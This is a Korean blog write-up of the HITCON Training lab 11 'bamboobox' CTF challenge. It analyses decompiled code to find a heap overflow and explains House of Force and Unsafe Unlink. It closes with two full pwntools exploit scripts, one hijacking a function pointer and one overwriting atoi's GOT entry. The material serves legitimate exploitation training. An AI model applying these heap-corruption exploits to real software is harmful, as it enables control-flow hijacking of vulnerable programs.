tmxklab

hitcon training [LAB 11] 본문

War Game/hitcon training

hitcon training [LAB 11]

tmxk4221 2020. 7. 25. 16:43

UAF(Use After Free)이후로 이번 문제를 풀면서 새로운 Heap Exploit기법 두 가지(House Of Force, Unsafe Unlink)를 배웠는데 따로 자세하게 정리하도록 하겠다.

 


1. 문제

 

1) mitigation확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (**v3)(void); // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v3 = (void (**)(void))malloc(0x10uLL);
  *v3 = (void (*)(void))hello_message;
  v3[1] = (void (*)(void))goodbye_message;
  (*v3)();
  while ( 1 )
  {
    menu();
    read(0, &buf, 8uLL);
    switch ( (unsigned __int64)(unsigned int)atoi(&buf) )
    {
      case 1uLL:
        show_item();
        break;
      case 2uLL:
        add_item();
        break;
      case 3uLL:
        change_item();
        break;
      case 4uLL:
        remove_item();
        break;
      case 5uLL:
        v3[1]();
        exit(0);
        return;
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}
  • v3에 malloc(0x10)

  • v3[0]과 v3[1]에 hello_message()와 goodbye_message()를 저장하고 (*v3)()를 호출한다. → hellos_message()호출

  • 메뉴 1 ~ 4까지 각 해당하는 함수를 호출, 메뉴 5에서 v31호출(goodbye_message()호출)하고 exit()호출

 

 

3-2) show_item()

int show_item()
{
  int i; // [rsp+Ch] [rbp-4h]

  if ( !num )
    return puts("No item in the box");
  for ( i = 0; i <= 99; ++i )
  {
    if ( qword_6020C8[2 * i] )
      printf("%d : %s", (unsigned int)i, qword_6020C8[2 * i]);
  }
  return puts(byte_401089);
}
  • qword_6020c8[2*1]에 존재하는 문자열 출력

 

 

3-3) add_item()

__int64 add_item()
{
  int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, &buf, 8uLL);
    v2 = atoi(&buf);
    if ( !v2 )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !qword_6020C8[2 * i] )
      {
        *((_DWORD *)&itemlist + 4 * i) = v2;
        qword_6020C8[2 * i] = malloc(v2);
        printf("Please enter the name of item:");
        *(_BYTE *)(qword_6020C8[2 * i] + (int)read(0, (void *)qword_6020C8[2 * i], v2)) = 0;
        ++num;
        return 0LL;
      }
    }
  }
  return 0LL;
}
  • length값을 입력으로 받고 itemlist+4*i에 저장하고 qword_6020c8[2 * i]에 length값 만큼 malloc

  • item이름에 대한 입력 값을 qword_6020c8[2 * i]에 v2(length)만큼 받고

  • qword_6020c8[2 * i]와 read함수의 리턴 값(입력한 값의 길이)을 더한 주소에 0을 넣는다.

  • 요약

    • qword+6020c8[2 * i] : item이름을 저장하는 곳(마지막에 널 값을 붙임), length만큼 malloc

    • itemlist + 4 * i : length값 저장하는 곳

 

 

3-4) change_item()

unsigned __int64 change_item()
{
  int v1; // [rsp+4h] [rbp-2Ch]
  int v2; // [rsp+8h] [rbp-28h]
  char buf; // [rsp+10h] [rbp-20h]
  char nptr; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, &buf, 8uLL);
    v1 = atoi(&buf);
    if ( qword_6020C8[2 * v1] )
    {
      printf("Please enter the length of item name:");
      read(0, &nptr, 8uLL);
      v2 = atoi(&nptr);
      printf("Please enter the new name of the item:");
      *(_BYTE *)(qword_6020C8[2 * v1] + (int)read(0, (void *)qword_6020C8[2 * v1], v2)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}
  • v1의 입력으로 받아 qword_6020c8[2 * v1]이 존재 유무 확인(아까 이름을 저장하는 곳이었음)

  • 새로운 item이름을 입력으로 받고 위에 add_item과 같이 item이름을 바꿈

  • 요약 :

    • 원하는 인덱스를 선택하여 item이 존재하는지 파악 → if(qword_6020c8[2 * v1])

    • item존재하면 바꿀 이름을 입력으로 받아 qword_6020c8[2 * v1]에 저장하고 마지막에 널 값 추가

 

 

3-5) remove_item()

unsigned __int64 remove_item()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, &buf, 8uLL);
    v1 = atoi(&buf);
    if ( qword_6020C8[2 * v1] )
    {
      free((void *)qword_6020C8[2 * v1]);
      qword_6020C8[2 * v1] = 0LL;
      *((_DWORD *)&itemlist + 4 * v1) = 0;
      puts("remove successful!!");
      --num;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v3;
}
  • 삭제할 인덱스 값을 입력으로 받아 qword_6020c8[2 * v1]에 존재하는지 파악

  • 존재하는 경우 qword_6020c8[2 * v1]을 free하고 qword_6020c8[2 * v1]처음에 널 값 삽입

  • 마지막으로 (itemlist + 4 * v1)에 0을 넣고 num감소

 

 

3-6) magic()

void __noreturn magic()
{
  int fd; // [rsp+Ch] [rbp-74h]
  char buf; // [rsp+10h] [rbp-70h]
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("/home/bamboobox/flag", 0);
  read(fd, &buf, 0x64uLL);
  close(fd);
  printf("%s", &buf);
  exit(0);
}

 

bss영역에 존재하는 변수들

 

 


2. 접근 방법

 

1) 취약점이 발생하는 곳

1-1) add_item()

  • add_item()에서 maloc(0x10)한 이후 상황이다.

  • 0x603000은 처음 main함수에서 v3 = malloc(0x10)하고 생긴 chunk이며

  • v3[0] = hello_message(), v3[1] = goodbyte_message()가 저장되어 있다.

 

 

1-2) change_item()

여기서 heap overflow가 발생한다. 다음은 change_item()의 일부분을 가져온 것이다.

if ( qword_6020C8[2 * v1] )
{
  printf("Please enter the length of item name:");
  read(0, &nptr, 8uLL);
  v2 = atoi(&nptr);
  printf("Please enter the new name of the item:");
  *(_BYTE *)(qword_6020C8[2 * v1] + (int)read(0, (void *)qword_6020C8[2 * v1], v2)) = 0;
}

위에서 add_item()를 호출하여 0x10 size의 새로운 chunk가 생성되었다.

하지만 change_item()를 호출하여 새로운 item이름을 변경하고자 할 때 방금 생성한 chunk의 size를 검사하지 않고 다시 입력 값에 대한 size를 요청하고 있다.

 

만일, 현재 0x10만큼의 size를 가진 chunk가 존재하는데 change_item()를 호출하여 0x20만큼의 size를 입력하면 chunk를 넘어서는 overflow가 발생할 것이다.

 

다음 디버깅을 통해 확인해보자

(그대로 add_item()에 의해 0x10 size의 chunk존재)

  • change_item()를 호출하여 0x20만큼의 데이터를 받고 난 상황이다.

  • 잘 보면 Top Chunk위치에 size부분이 0x0a44444444444444로 덮어진 것을 확인할 수 있다.(노란색 박스)

 

1-3) 결론

change_item()를 통해 heap overflow가 발생하는 것을 확인하였다.

heap overflow가 발생함에 따라 해당 문제를 exploit하는데 다음과 같은 두 가지 방법으로 문제를 풀 수 있다.

  • House of Force

  • Unsafe Unlink

 

2) House of Force

2-1) 요구조건

  • Top Chunk의 size값을 변경할 수 있어야 함

  • Top Chunk size값 변경 후 malloc을 통해 원하는 size만큼 힙 할당을 받을 수 있어야 함

 

2-2) Top Chunk 수정

  • Top Chunk부분에 0xffff ffff ffff ffff를 입력하였다.

  • 우리가 값을 변경하기 원하는 위치는 0x186f000이다.

  • 해당 부분은 hellow_message()와 goodbye_message()의 주소 값이 저장된 곳으로 main함수에서 goodbye_message()를 호출하기 때문이다. → goodbye_message()대신에 magic()를 덮어쓸거임

  • Top Chunk의 주소를 leak할 수 없으므로 offset만으로 0x186f000에 다시 malloc하기로 한다.

 

목표 주소(0x186f010) - Top Chunk 주소(0x186f050) - Chunk Header(0x10)2 = 0xffff ffff ffff ffa0(-96)

 

  • 다시 add_item()을 호출하여 malloc(-96)한 이후의 상황이다.

  • 원래 있던 Top Chunk의 값이 변경되었으며 v3의 Chunk size도 변경되었다.

  • 마지막으로 Top Chunk의 위치가 0x186f000으로 변경된 것을 확인할 수 있다.

  • 변경되기 전 Top Chunk size는 0xffff ffff ffff ffff로 엄청나게 많은 동적 할당 요청을 할 수 있다. 이후에 malloc(-96) (-96 : 0xffff ffff ffff ffa0)만큼의 할당 요청을 받아 Top Chunk에서 떼고 남은 Chunk가 현재 0x186f000위치에 존재하며 남은 size값은 0x48로 변경되었다.

  • 이후에 malloc요청이 들어오면 현재 Top Chunk위치를 할당받게 될 것이고 Top Chunk는 다시 아래로 내려가게 된다.

 

2-3) 공격 프로세스

  • add_item()을 호출하여 하나의 Chunk를 할당받는다.

  • change_item()을 호출하여 Top Chunk의 값을 변경한다.(0xffff ffff ffff ffff)

  • add_item()을 호출하여 v3위치로 malloc한다. → Top Chunk변경

  • 다시 add_item()을 호출하여 goodbye_message()가 위치하는 곳에 magic()의 주소 값을 넣는다.

  • menu 5을 선택하여 v3[1]을 호출한다.

 

3) Unsafe Unlink

3-1) 요구조건

  • 힙 영역을 전역 변수에서 관리해야 함

  • 2개의 Allocated Chunk가 필요하며 한 개는 Fake Chunk를 생성해야 함

  • 첫 번째 Chunk를 통해 두 번째 Chunk의 헤더를 조작할 수 있어야 함

 

3-2) 3개의 Chunk 생성

  • add_item()을 3번 호출하여 3개의 Chunk를 만든다.

+) 업데이트 : 아 굳이 3개의 Chunk 생성안하고 2개의 Allocated Chunk가 있어도 된다.;;; 

 

3-3) Fake Chunk 생성 및 두 번째 Chunk 헤더 조작

  • change_item()를 통해 첫 번째 Chunk에서 데이터를 입력한다.

  • 이 때, Fake Chunk를 만들기 위해 prev_size, size값에 0x0을 넣고

  • fd, bk값에 전역변수의 주소 값을 넣는다. → [ fd : 원하는 주소 - 24(0x18) ] [ bk : 원하는 주소 - 16(0x10) ]

  • 마지막으로 heap overflow가 발생함에 따라 두 번째 Chunk의 헤더를 조작한다. → prev_size : 0x80, size : 0x90

  • 이를 통해 현재 두 번째 Chunk는 PREV_INUSE비트가 0x0으로 세팅되어 있어 바로 앞에 chunk가 free되었다고 판단하고 prev_size 값이 0x80 즉, fake chunk의 header와 data의 size만큼 free되었다고 판단할 것이다.

 

3-4) 두 번째 Chunk Free

  • remove_item()을 호출하여 두 번째 chunk를 free시킬 때 위에서 헤더 조작함에 따라 PREV_INUSE 비트가 0x0으로 세팅되어서 prev_size만큼 즉, fake chunk와 병합을 시도할 것이다.

  • 병합을 하기 전에 이전 chunk의 fd와 bk를 확인하여 unlink를 하게되는데

  • 이 때, fake chunk를 bin list에서 연결을 해제하기 위해 2가지 검사를 하게된다.

    • chunksize(P) ≠ prev_size(next_chunk(P))

    • FD→bk ≠ P || BK→fd ≠ P

  • 우리는 위 검사를 통과하기 위해 Fake Chunk를 제작할 때 prev_size, size, fd, bk를 알맞게 설정하였다.

    • fake chunk → size : 0x0 , fake chunk → prev_size : 0x0

    • 0x6020b0(FD) → bk : 0x6020c8, 0x6020b8(BK) → fd : 0x6020c8

  • 위 검사를 통과하면 FD→bk에는 BK를 BK→fd = FD를 저장하게 되는데 처음에는 0x6020c8에 0x6020b8을 저장하고 다시 0x6020c8에 0x6020b0을 저장하게 된다.

 

3-5) atoi() GOT Overwrite

  • 위 과정을 통해 우리는 itemlist 첫 번째 인덱스에 content부분(0x6020b0)에 데이터를 삽입할 수 있게 된다.

  • 다시 0x6020b0에 데이터("A"*24 + atoi@got)를 삽입하여

  • itemlist 첫 번째 인덱스의 content부분에 atoi()의 GOT 주소를 적는다.

  • 마지막으로 다시 한번 change_item()를 호출하여 itemlist 첫 번째 인덱스 content부분(atoi@got)에 magic()의 주소 값을 적는다.

 

3-6) main()에서 atoi함수 실행

  • GOT Overwrite가 끝나면 마지막으로 메인함수에 atoi함수를 호출하는 부분을 실행한다.

 

 


3. 풀이

 

1) House of Force

1-1) 주의할 점

add_item에서 malloc(0x10)만큼 받고 Top Chunk를 0xfff...로 덮어 씌운다음에 다시 malloc(-90)할 때 SIGABRT 발생

 

참고 사이트 : 

 

[HITCON Training] lab11

문제 bamboobox 바이너리의 checksec 결과는 다음과 같다. Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) file 명령어의 결과는 다음과 같다. bamboobox: ELF 64-bit LSB executable, x

3ffr3s.github.io

 

1-2) 익스 코드

from pwn import *

context.log_level = "debug"
p = process("./bamboobox")
#gdb.attach(p)
e = ELF("./bamboobox")
magic_addr = e.symbols['magic']


def add_item(length, data):
	p.sendafter(":", "2")
	p.sendafter(":", str(length))
	p.sendafter(":", data)

def change_item(index, length, data):
	p.sendafter(":", "3")
	p.sendafter(":", str(index))
	p.sendafter(":", str(length))
	p.sendafter(":", data)
	

# 1. overwrite Top Chunk
payload = "A"*40
payload += p64(0xffffffffffffffff)
add_item(32, "AAAAAAAA")
change_item(0, 48, payload)

# 2. malloc(-96) -> Change Top Chunk 
add_item(-96, "BBBB")

# 3. malloc(16) -> allocate New Chunk & Insert magic()
payload = "A"*8
payload += p64(magic_addr)
add_item(16, payload)

p.sendlineafter(":", "5")
p.interactive()

 

2) Unsafe Unlink

2-1) 익스 코드

from pwn import *

context.log_level = "debug"
p = process("./bamboobox")
#gdb.attach(p)
e = ELF("./bamboobox")

magic_addr = e.symbols['magic']
atoi_got = e.got['atoi']
itemlist = 0x6020c8

def add_item(length, data):
	p.sendafter(":", "2")
	p.sendafter(":", str(length))
	p.sendafter(":", data)

def change_item(index, length, data):
	p.sendafter(":", "3")
	p.sendafter(":", str(index))
	p.sendafter(":", str(length))
	p.sendafter(":", data)

def remove_item(index):
	p.sendafter(":", "4")
	p.sendafter(":", str(index))


log.info("atoi got   : " + hex(atoi_got))
log.info("magic_addr : " + hex(magic_addr))
	
# 1. Creation 2 Chunk
add_item(128, "A")
add_item(128, "B")


# 2. Creation Fake Chunk & Modify Second Chunk Header
payload = p64(0x0) + p64(0x0)
payload += p64(itemlist-24) + p64(itemlist-16)
payload += "A"*0x60
payload += p64(0x80) + p64(0x90)

change_item(0, len(payload), payload)

# 3. Consolidation Fake Chunk & Write Global Variable  
remove_item(1)

# 4. GOT overwrite atoi() -> magic()
payload = "A"*24
payload += p64(atoi_got)
change_item(0, len(payload), payload)
change_item(0, len(p64(magic_addr)), p64(magic_addr))

# 5. Execute magic()
p.sendlineafter(":", str(2))

p.interactive()

 

실행결과)

  • 참고로 /home/bamboobox/flag파일을 임의로 생성한 후에 익스한 결과이다.

 


4. 참고 자료

 

1) house of force

 

2) unsafe unlink

 

'War Game > hitcon training' 카테고리의 다른 글

hitcon training [LAB 13]  (0) 2020.07.28
hitcon training [LAB 12]  (0) 2020.07.27
hitcon training [LAB 10]  (0) 2020.07.21
hitcon training [LAB 9]  (0) 2020.07.21
hitcon training [LAB 8]  (0) 2020.07.19
Comments